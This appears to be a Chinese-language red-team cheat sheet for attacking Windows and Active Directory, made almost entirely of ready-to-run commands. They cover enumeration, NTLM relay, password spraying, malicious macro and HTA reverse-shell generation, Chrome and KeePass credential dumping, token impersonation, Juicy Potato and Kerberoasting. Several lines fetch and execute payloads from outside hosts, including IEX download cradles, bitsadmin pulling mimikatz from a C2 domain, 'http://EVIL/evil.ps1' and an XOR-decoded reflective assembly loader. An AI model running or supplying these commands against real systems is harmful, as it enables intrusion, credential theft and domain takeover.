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Hacking Windows 备忘录
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Active Directory Security
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Hacking Windows 备忘录

Hacking Windows 备忘录

原文传送门​
​

记录一下Windows系统的Notes/Tricks
在此之前不得不说一下海底捞的服务确实好！记得上周去吃海底捞，结账的时候支付宝没钱了，还是服务员帮忙报的警……
这些笔记主要基于其他文章，备忘录和WIKI等。我只是想在这里收录最好的笔记。 很多没必要翻译,大多数都是工具的集合,工具都给你了还不会用,就是自己的问题.

信息收集

Basics

net users
net users /domain
net localgroup
net groups /domain
net groups /domain "Domain Admins"
​
​
Get-ADUser
Get-Domain
Get-DomainUser
Get-DomainGroup
Get-DomainGroupMember -identity "Domain Admins" -Domain m0chanAD.local -DomainController 10.10.14.10
Find-DomainShare
​
## 主机发现
netdiscover -r subnet/24
nbtscan -r [range]
for /L %i in (1,1,255) do @ping.exe -n 1 -w 50 <10.10.10>.%i | findstr TTL
​
## DNS反向查询
$ComputerIPAddress = "10.10.14.14"
​


Users with SPN

Get-DomainUser -SPN
​
​
Get-ADComputer -filter {ServicePrincipalName -like <keyword>} -Properties OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack,
PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation

Kerberos Enumeration

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

Red-Team CSharp Scripts

#https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts
​
LDAPUtility.cs
​
Usage: ldaputility.exe options domain [arguments]
​
ldaputility.exe DumpAllUsers m0chan
ldaputility.exe DumpUser m0chan mr.un1k0d3r
ldaputility.exe DumpUsersEmail m0chan
ldaputility.exe DumpAllComputers m0chan
ldaputility.exe DumpComputer m0chan DC01
ldaputility.exe DumpAllGroups m0chan
ldaputility.exe DumpGroup m0chan "Domain Admins"
ldaputility.exe DumpPasswordPolicy m0chan
​
Also WMIUtility.cs for WMI Calls & LDAPQuery.cs for Raw LDAP Queries.
​
See github linked above for full details.
​



Active Directory

nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
​
# 获得当前域名[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
​
# 获得信任域信息
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
​
# 查看域信息
# 查看域信任信息
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
​
nltest [server:<fqdn_foreign_domain>] /domain_trusts /all_trusts /v
​
nltest /dsgetfti:<domain>
​
nltest /server:<ip_dc> /domain_trusts /all_trusts
​
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
​
# 查看所有域控
nltest /dclist:offense.local
net group "domain controllers" /domain
​
# View DC for Current Session
nltest /dsgetdc:m0chanAD.local
​
# View Domain Trusts from CMD
nltest /domain_trusts
​
# View User Info from CMD
nltest /user:"m0chan"
​
#查看缓存的票据信息
klist
​
# Get All Logged on Sessions, Includes NTLM & Kerberos
klist sessions
​
​
# View Cached Krbtgt
klist tgt
​
# 老版本的whoami
set u
​
#列出所有的用户名
([adsisearcher]"(&(objectClass=User)(samaccountname=*))").FindAll().Properties.samaccountname
​
#列出管理员
​
([adsisearcher]"(&(objectClass=User)(admincount=1))").FindAll().Properties.samaccountname
​
#查找特定账户
​
([adsisearcher]"(&(objectClass=User)(samaccountname=<username>))").FindAll().Properties
​
#通过描述来查找用户信息
​
([adsisearcher]"(&(objectClass=group)(samaccountname=*))").FindAll().Properties | % { Write-Host $_.samaccountname : $_.description }
demo:

​


AD Enumeration from Linux Box - AD Tool

#https://github.com/jasonwbarnett/linux-adtool
​
tar zxvf adtools-1.x.tar.gz
cd adtools-1.x
./configure
make
make install
​
> adtool list ou=user,dc=example,dc=com
CN=allusers,OU=user,DC=example,DC=com
OU=finance,OU=user,DC=example,DC=com
OU=administration,OU=user,DC=example,DC=com
​
> adtool oucreate marketing ou=user,dc=example,dc=com
> adtool useradd jsmith ou=marketing,ou=user,dc=example,dc=com
> adtool setpass jsmith banana
> adtool unlock jsmith
> adtool groupadd allusers jsmith
> adtool attributereplace jsmith telephonenumber 123
> adtool attributereplace jsmith mail [email protected]

SharpView Enumeration

#https://github.com/tevora-threat/SharpView
​
Get-DomainFileServer
Get-DomainGPOUserLocalGroupMapping
Find-GPOLocation
Get-DomainGPOComputerLocalGroupMapping
Find-GPOComputerAdmin
Get-DomainObjectAcl
Get-ObjectAcl
Add-DomainObjectAcl
Add-ObjectAcl
Remove-DomainObjectAcl
Get-RegLoggedOn
Get-LoggedOnLocal
Get-NetRDPSession
Test-AdminAccess
Invoke-CheckLocalAdminAccess
Get-WMIProcess
Get-NetProcess
Get-WMIRegProxy
Get-Proxy
Get-WMIRegLastLoggedOn
Get-LastLoggedOn
Get-WMIRegCachedRDPConnection
Get-CachedRDPConnection
Get-WMIRegMountedDrive
Get-RegistryMountedDrive
Find-InterestingDomainAcl
Invoke-ACLScanner
Get-NetShare
Get-NetLoggedon

SMB Enumeration

nmap -p 139,445 --script smb.nse,smb-enum-shares,smbls
enum4linux 1.3.3.7
smbmap -H 1.3.3.7
smbclient -L \\INSERTIPADDRESS
smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john
smbclient //INSERTIPADDRESS/admin$ -U john
nbtscan [SUBNET]
​
​
#Check for SMB Signing
nmap --script smb-security-mode.nse -p 445 10.10.14.14

SNMP Enumeration

snmpwalk -c public -v1 10.10.14.14
snmpcheck -t 10.10.14.14 -c public
onesixtyone -c names -i hosts
nmap -sT -p 161 10.10.14.14 -oG snmp_results.txt
snmpenum -t 10.10.14.14

MySQL Enumeration

nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122

DNS Zone Transfer

dig axfr blah.com @ns1.m0chan.com
nslookup -> set type=any -> ls -d m0chan.com
dnsrecon -d m0chan -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

LDAP

ldapsearch -H ldap://<ip>
ldapwhoami

RPC Enumeration

rpcclient -U "10.10.14.14"
srvinfo
enumdomusers
enumalsgroups domain
lookupnames administrators
querydominfo
enumdomusers
queryuser <user>
lsaquery
lookupnames Guest
lookupnames Administrator

Remote Desktop

rdesktop -u guest -p guest INSERTIPADDRESS -g 94%
​
# Brute force
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS
hydra
medusa
and so on

File Transfer

TFTP

m0chan Machine
mkdir tftp
atftpd --deamon --port 69 tftp
cp *file* tftp
On victim machine:
tftp -i <[IP]> GET <[FILE]>

FTP

echo open <[IP]> 21 > ftp.txt
echo USER demo >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt

VBS Script

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
​
​
​
cscript wget.vbs <url> <out_file>
​
Use echoup function on pentest.ws to generate echo commands.
https://pentest.ws/features

Powershell

#https://github.com/danielbohannon/Invoke-CradleCrafter Use this to craft obsufacted cradles
​
Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"
​
(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")
​
#Powershell Download to Memory
​
IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')
​
#Powershell with Proxy
​
$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString('https://server/script.ps1'));

Powershell Base64

$fileName = "Passwords.kdbx"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
$fileContentEncoded | set-content ($fileName + ".b64")

Secure Copy / pscp.exe

pscp.exe C:\Users\Public\m0chan.txt [email protected]:/tmp/m0chan.txt
pscp.exe [email protected]:/home/user/m0chan.txt C:\Users\Public\m0chan.txt

BitsAdmin.exe

cmd.exe /c "bitsadmin.exe /transfer downld_job /download /priority high http://c2.m0chan.com C:\Temp\mimikatz.exe & start C:\Temp\binary.exe"

Remote Desktop

rdesktop 10.10.10.10 -r disk:linux='/home/user/filetransferout'

WinHTTP Com Object

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

CertUtil

#File Transfer
​
certutil.exe -urlcache -split -f https://m0chan:8888/filename outputfilename

CertUtil Base64 Transfers

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName

Curl (Windows 1803+)

curl http://server/file -o file
curl http://server/file.bat | cmd
​
IEX(curl http://server/script.ps1);Invoke-xxx

SMB

python smbserver.py Share `pwd` -u m0chan -p m0chan --smb-2support
Exploit

Exploit

LLMNR / NBT-NS Spoofing

git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0
​


Responder WPAD Attack

responder -I eth0 wpad

mitm6

＃ 在WPAD攻击不起作用时使用，它使用IPv6和DNS将凭据中继到目标。
# By default IPV6 should be enabled.
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .
​
mitm6 -d m0chanAD.local
​
​
​
ntlmrelayx.py -wh webserverhostingwpad:80 -t smb://TARGETIP/ -i
​
-i 打开一个交互式shell
​
Shout out to hausec for this super nice tip.

SCF File Attack

创建.scf文件并放入SMB Share内并启动Responder :）
Filename = @m0chan.scf
​
[Shell]
Command=2
IconFile=\\10.10.14.2\Share\test.ico
[Taskbar]
Command=ToggleDesktop

NTLM-Relay

NTLM/Net-NTLMV1&V2的区别
​
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
​
https://payloads.online/archivers/2018-11-30/1#chalengeresponse
​
PS: You CANNOT relay a hash back to itself.
PS: 必须禁用SMB签名才能会用，您可以使用nmap scan或crackmapexec检查
​
crackmapexec smb 10.10.14.0/24 --gene-relay-list targets.txt
​
这将告诉您子网中未启用SMB签名的主机列表。
​
python Responder.py -I <interface> -r -d -w
ntlmrelayx.py -tf targets.txt (By default this will dump the local SAM of the targets, not very useful?)
​
我们如何执行命令呢？
​
ntlmrelayx.py -tf targets.txt -c powershell.exe -Enc asdasdasdasd
ntlmrelayx.py -tf targets.txt -c powershell.exe /c download and execute beacon... = RIP

Priv Exchange

#https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
​
Combine privxchange.py and ntlmrelayx
​
ntlmrelayx.py -t ldap://DOMAINCONTROLLER.m0chanAD.local --escalate-user TARGETUSERTOESCALATE
​
python privexchange.py -ah FDQN.m0chanAD.local DOMAINCONTROLLER.m0chanAD.local -u TARGETUSERTOESCALATE -d m0chanAD.local

Exchange Password Spray

#https://github.com/dafthack/MailSniper.git
​
Invoke-PasswordSprayOWA -ExchHostname EXCH2012.m0chanAD.local -UserList .\users.txt -Password Winter2019
​
​
#https://github.com/sensepost/ruler
​
./ruler-linux64 -domain mc0hanAD.local --insecure brute --userpass userpass.txt -v

ExchangeRelayX

#https://github.com/quickbreach/ExchangeRelayX
​
An NTLM relay tool to the EWS endpoint for on-premise exchange servers. Provides an OWA for hackers.
​
​
./exchangeRelayx.py -t https://mail.quickbreach.com

Exchange Mailbox Post-Compromise

#https://github.com/dafthack/MailSniper.git
​
Enumerate GlobalAddressList
​
Get-GlobalAddressList -ExchHostname EXCH2012.m0chanAD.local -Username [email protected] -Password Winter2019
​
Enumerate AD Usernames
​
Get-ADUsernameFromEWS -Emaillist .\users.txt
​
Enumerate Mailbox Folders
​
Get-MailboxFolders -Mailbox [email protected]
​
Enumerate Passwords & Credentials Stored in Emails
​
Invoke-SelfSearch -Mailbox [email protected]
​
Enumerate Passwords & Credentials (Any Users) Requires DA or Exchange Admin
​
Invoke-GlobalMailSearch -ImpersonationAccount helenHR -ExchHostname Exch2012

CrackMapExec

CrackMapExec is installed on Kali or get Windows Binary from Github.
​
Has 3 Execution Methods
crackmapexec smb <- Creating and Running a Service over SMB
crackmapexec wmi <- Executes command over WMI
crackmapexec at <- Schedules Task with Task Scheduler
​
Can execute plain commands with -X flag i/e
​
crcakmapexec smb 10.10.14.0/24 -x whoami
​
crcakmapexec smb 10.10.14.0/24 <- Host Discovery
crackmapexec smb 10.10.14.0/24 -u user -p 'Password'
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --pass-pol
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --shares
​
​
Can also PTH with CME
​
crackmapexec smb 10.10.14.0/24 -u user -H e8bcd502fbbdcd9379305dca15f4854e
​
cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth --shares
​
​
--local-auth is for Authenticating with Local Admin, good if Organisaton uses same local admin hash through network and not using LAPS
​
Dump Local SAM hashes
​
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth --sam
​
Running Mimikatz
​
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
​
^ Very noisy but yes you can run mimikatz across a WHOLE network range. RIP Domain Admin
​
Enum AV Products
​
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M enum_avproducts

Mail Sniper

Invoke-PasswordSprayOWA -ExchHostname m0chanAD.local -userlist harvestedUsers.txt -password Summer2019
​
[*] Now spraying the OWA portal at https://m0chanAD.local/owa/
​
[*] SUCCESS! User:m0chan:Summer2019

Kerberos资料

#https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html

MSSQL Exploiting (PowerUpSQL)

#https://github.com/NetSPI/PowerUpSQL
​
#View SQL Instances
Get-SQLInstanceDomain [| Get-SQLServerInfo]
​
#Login in with Domain Account
Get-SQLConnectionTestThreaded
​
#Login in with Default Password
Get-SQLServerDefaultLoginPw
​
#List DB, Tables & Columns
​
Get-SQLInstanceDomain | Get-SQLDatabase
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DB_name>
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DB_name> -TableName <Table_name>
​
#Search Column Names for Word
​
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<word1,word2>" -Verbose -SampleSize 10
​
#Try to Execute Commands (RCE)
​
Invoke-SQLOSCmd
​
​
#Enable XP_CMDShell Process
​
EXEC sp_configure 'show advanced options', 1;
go
RECONFIGURE;
go
EXEC sp_configure 'xp_cmdshell', 1;
go
RECONFIGURE;
go
xp_cmdshell '<cmd>'
go

Malicious Macro with MSBuild

#https://github.com/infosecn1nja/MaliciousMacroMSBuild
​
#https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ - MSBuild Explained
​
Creation of a Shellcode MSBuild VBA Macro
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba
​
Creation of a PowerShell MSBuild VBA Macro
python m3-gen.py -p powershell -i /path/payload.ps1 -o output.vba
​
Creation of a Custom MSBuild VBA Macro
python m3-gen.py -p custom -i /path/msbuild.xml -o output.vba
​
Creation of a Shellcode MSBuild VBA Macro With Kill Date
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -k 20/03/2018
​
Creation of a Shellcode MSBuild VBA Macro With Environmental Keying
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain, microsoft, github

WeirdHTA - Undetectable HTA

#https://github.com/felamos/weirdhta
​
python3 --help
python3 weirdhta.py 10.10.10.10 4444 --normal (for normal powershell reverse_shell)
python3 weirdhta.py 10.10.10.10 4444 --smb (without powershell payload, it will use smb)
python3 weirdhta.py 10.10.10.10 4444 --powercat (for powercat)
python3 weirdhta.py 10.10.10.10 4444 --command 'c:\windows\system32\cmd.exe' (custom command)

EvilWinRM

Ultimate Shell for WinRM Connections
​
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ]
-S, --ssl Enable SSL
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
-s, --scripts PS_SCRIPTS_PATH Powershell scripts local path
-e, --executables EXES_PATH C# executables local path
-i, --ip IP Remote host IP or hostname (required)
-U, --url URL Remote url endpoint (default /wsman)
-u, --user USER Username (required)
-p, --password PASS Password
-P, --port PORT Remote host port (default 5985)
-V, --version Show version
-h, --help Display this help message

GetVulnerableGPO

#https://github.com/gpoguy/GetVulnerableGPO
​
PowerShell script to find 'vulnerable' security-related GPOs that should be hardened (for more background, see the GPO discoverability section of this blog: https://sdmsoftware.com/group-policy-blog/security-related/security-fun-bloodhound-ms16-072-gpo-discoverability/) Requires GPMC & SDM Software GPMC PowerShell Module (used to more easily parse GP settings during the search): https://s3.amazonaws.com/sdmsoftware.com/dl/SDM-GPMC-Module2.0Setup.zip

Invoke-PSImage

#https://github.com/peewpw/Invoke-PSImage
​
Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute
​
Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.
​
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
[Oneliner to execute from a file]
​
​
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
[Oneliner to execute from the web]
过不了火绒.

Meterpreter + Donut - Shellcode Injection .NET

#https://iwantmore.pizza/posts/meterpreter-shellcode-inject.html
​
A module for executing arbitrary shellcode within Meterpreter aka executing Mimikatz in-memory, reflectively and interactively!
​
donut -f /tmp/mimikatz.exe -a 2 -o /tmp/payload.bin
​
use post/windows/manage/shellcode_inject
set SHELLCODE /tmp/payload.bin
set SESSION 1
run

Privilege Escalation

Basics

systeminfo
wmic qfe
net users
hostname
whoami
net localgroups
echo %logonserver%
netsh firewall show state
netsh firewall show config
netstat -an
type C:\Windows\system32\drivers\etc\hosts

PowerUp.ps1 (Sometimes a Quick Win)

powershell.exe /c IEX(New-Object Net.WebClient).downloadString('webserver/PowerUp.ps1') ;Invoke-AllChecks

SharpUp

#https://github.com/GhostPack/SharpUp
​
C Sharp Implementation of PowerUp.ps1 which can be reflectively loaded.
If It’s AD Get Bloodhound Imported…

SharpHound.ps1

SharpHound.exe -> https://github.com/BloodHoundAD/SharpHound
​
IEX(System.Net.WebClient.DownloadString('http://webserver:4444/SharpHound.ps1'))
​
Invoke-CollectionMethod All
​
Import .zip to Bloodhound
​
If you can't exfil the .zip... Find a way ;) I joke, I joke. Output as plain json and copy over manually. It's a big big pain but it works.

Bloodhound-Python

git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/ && pip install .
​
bloodhound-python -d m0chanAD.local -u m0chan -p Summer2019 -gc DOMAINCONTROLLER.m0chanAD.local -c all

明文密码

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
​
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
​
# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
​
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
​
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

查看已安装软件

tasklist /SVC
net start
reg query HKEY_LOCAL_MACHINE\SOFTWARE
DRIVERQUERY
​
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
​
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
​
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

不安全的文件夹权限

Full Permissions for 'Everyone' on Program Folders
​
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
​
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
​
Modify Permissions for Everyone on Program Folders
​
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
​
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"

定时任务

schtasks /query /fo LIST /v

Powershell 历史记录

type C:\Users\m0chan\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

查看连接的设备

net use
wmic logicaldisk get caption,description
​
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

查看权限

whoami /priv
​
Look for SeImpersonate, SeDebugPrivilege etc

Is Anyone Else Logged In?

qwinsta

查看注册表自动登录

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
​
​
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

View Stored Creds in Credential Manager

cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
​
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

查看无引号的服务路径

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
​
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

查看启动项

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

Check for AlwaysInstalledElevated Reg Key

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

Any Passwords in Registry?

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

Any Sysrep or Unattend Files Left Over

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
​
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

GPP (Group Policy Preferences) Passwords

smbclient //DOMAINCONTROLLER.local/SYSVOL -U m0chan
​
\m0chanAD.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\
​
http://www.sec-1.com/blog/wp-content/uploads/2015/05/gp3finder_v4.0.zip - For Decryption
​
Can also use PowerUP.ps1

Dump Chrome Passwords (Also Post Exploit)

#git clone https://github.com/rasta-mouse/CookieMonster
​
CookieMonster creds
CookieMonster.exe cookies -d [domain] -e
CookieMonster -a
​
Must be run in the context of the target users as chrome passwords are encrypted with DPAPI.
​
Can also use Mimikatz for this.
​
mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"
​
mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data" /unprotect
​
mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Cookies" /unprotect

Dump KeePass

#https://github.com/HarmJ0y/KeeThief
#http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
​
Get-Process keepass
tasklist | findstr keepass
​
Attacking KeePass
​
#https://raw.githubusercontent.com/HarmJ0y/KeeThief/master/PowerShell/KeeThief.ps1
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose
​
KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe can also be used.

令牌模拟

https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e92bb6243c177d7d1d7e68b6f1816/Exfiltration/Invoke-TokenManipulation.ps1
​
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"
​
Can also use incognito from meterpreter to steal access/delegation tokens and impersonate users. (Requires Admin/SYSTEM Privs)
​
#Tokenvator https://github.com/0xbadjuju/Tokenvator
​
Reflectively Load it with Powershell, Cobalt, SilentTrinity etc...
​
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
$k="xxxxxxx";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://xxxxx")))|%{$_-bxor$k[$i++%$k.length]}
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")
Reflectively Load .NET Assembly within Powershell if you cant do it through your C2 Infra

Juicy Potato

#Requires SeImpersonatePrivilege (Typically found on service accounts IIS Service, SQL Service etc)
​
#Reference https://ohpe.it/juicy-potato/
​
Requirements: SeAssignPrimaryTokenPrivilege and/or SeImpersonatePrivilege
​
(new-object System.Net.WebClient).DownloadFile('http://10.10.14.5:8000/JuicyPotato.exe','C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\Backup\JuicyPotato.exe')
​
JuicyPotato.exe -l 1337 -p C:\Users\Public\Documents\Mochan.exe -t * -c {5B3E6773-3A99-4A3D-8096-7765DD11785C}
​
Mochan.exe = Payload
5B3E6773-3A99-4A3D-8096-7765DD11785C = Target CLISD
​
A CLSID is a GUID that identifies a COM class object
​
Can also use -A flag to specify arguments alongside cmd.exe/powershell.exe etc
​
JUICY POTATO HAS TO BE RAN FROM CMD SHELL AND NOT POWERSHELL

Kerberoasting

#Check my Blog Post Kerberos Attacks in Depth for Further Information
#https://m0chan.github.io/Kerberos-Attacks-In-Depth
​
Get-DomainSPNTicket -Credential $cred -OutputFormat hashcat
​
because Hashcat over John anyday right?
​
Invoke-Kerberoast.ps1
​
python GetUserSPNs.py -request -dc-ip 10.10.14.15 m0chanad.local/serviceaccount
​
Ofc the above requires access to Port 88 on the DC but you can always port forward if executing GetUserSPNs.py manually.
​
https://github.com/GhostPack/SharpRoast --NOW Deprecated-- and incorproated into Rebeus with the kerberoast action

Kerberoast with Python

